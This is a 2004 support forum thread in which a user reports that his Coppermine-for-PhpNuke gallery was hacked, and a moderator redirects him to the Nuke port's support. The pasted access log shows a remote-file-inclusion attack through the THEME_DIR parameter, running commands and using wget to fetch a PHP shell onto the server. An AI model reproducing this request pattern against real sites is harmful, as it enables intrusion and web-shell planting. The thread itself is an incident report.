Advanced search  

News:

cpg1.5.48 Security release - upgrade mandatory!
The Coppermine development team is releasing a security update for Coppermine in order to counter a recently discovered vulnerability. It is important that all users who run version cpg1.5.46 or older update to this latest version as soon as possible.
[more]

Pages: [1]   Go Down

Author Topic: [n/a (wrong board, wrong software)]: Hacked in PhpNuke  (Read 3663 times)

0 Members and 1 Guest are viewing this topic.

Doozer

  • Coppermine newbie
  • Offline Offline
  • Posts: 1
[n/a (wrong board, wrong software)]: Hacked in PhpNuke
« on: August 25, 2004, 12:07:30 am »

Sorry for this post, but i was hacked with Coppermine 1.2.1 for PhpNuke:

Installed an Irc-Bot!

This is the ACCESS.log for this time:
Code: [Select]
"GET /modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.XX.XX/x.txt?&cmd=wget HTTP/1.0" 200 3065
"GET /modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.XX.XX/x.txt?&cmd=/sbin/ifconfig HTTP/1.0" 200 7490
"GET /modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.XX.XX/x.txt?&cmd=cd%20..;cd%20..;cd%20..;ls%20-FRla|grep%20drwxrwxrw HTTP/1.0" 200 6000
"GET /modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.XX.XX/x.txt?&cmd=cd%20..;cd%20..;cd%20..;find%20.%20-name%20gallery%20-print HTTP/1.0" 200 2785
"GET /modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.XX.XX/x.txt?&cmd=cd%20..;cd%20..;cd%20..;cd%20Forums/images/avatars/gallery;wget%20IRC-SERVER/nama/tcl/phpshell.txt%20-O%20data.php HTTP/1.0" 200 4605
"GET /modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.XX.XX/x.txt?&cmd=cd%20..;cd%20..;cd%20..;cd%20Forums/images/avatars/gallery;pwd HTTP/1.0" 200 3010

Is it solved, or still there?
Sorry for my English, but i am German ;)

For more Information, please Contact me!

Greetz Doozer
« Last Edit: August 25, 2004, 08:00:18 am by GauGau »
Logged

Casper

  • VIP
  • Coppermine addict
  • ***
  • Country: 00
  • Offline Offline
  • Gender: Male
  • Posts: 5231
Re: Hacked in PhpNuke
« Reply #1 on: August 25, 2004, 12:20:08 am »

There was a problem with the coppermine for nuke, not the standalone version.  There is a newer version, and a patch for that version, afaik.

Please go to www.nukephotogallery.com for support for that version.
Logged
It has been a long time now since I did my little bit here, and have done no coding or any other such stuff since. I'm back to being a noob here
Pages: [1]   Go Up
 

Page created in 0.026 seconds with 14 queries.